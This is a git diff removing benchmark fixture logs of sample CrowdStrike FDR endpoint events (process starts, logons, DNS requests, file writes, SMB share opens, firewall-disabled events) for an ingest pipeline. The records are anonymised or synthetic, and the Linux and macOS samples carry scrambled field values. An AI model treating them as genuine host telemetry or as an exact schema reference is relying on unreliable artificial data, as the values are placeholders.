-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} -{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} -{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} -{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"} -{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} -{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} -{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} -{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"} -{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} -{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} -{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"} -{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"} -{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"} -{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"} -{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} -{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log deleted file mode 100644 index 6f96985067..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log +++ /dev/null @@ -1 +0,0 @@ -{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log deleted file mode 100644 index 4ba49239c2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log +++ /dev/null @@ -1,4 +0,0 @@ -{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"} -{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log deleted file mode 100644 index cdbb227d80..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log +++ /dev/null @@ -1,18 +0,0 @@ -{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"} -{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"} -{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} 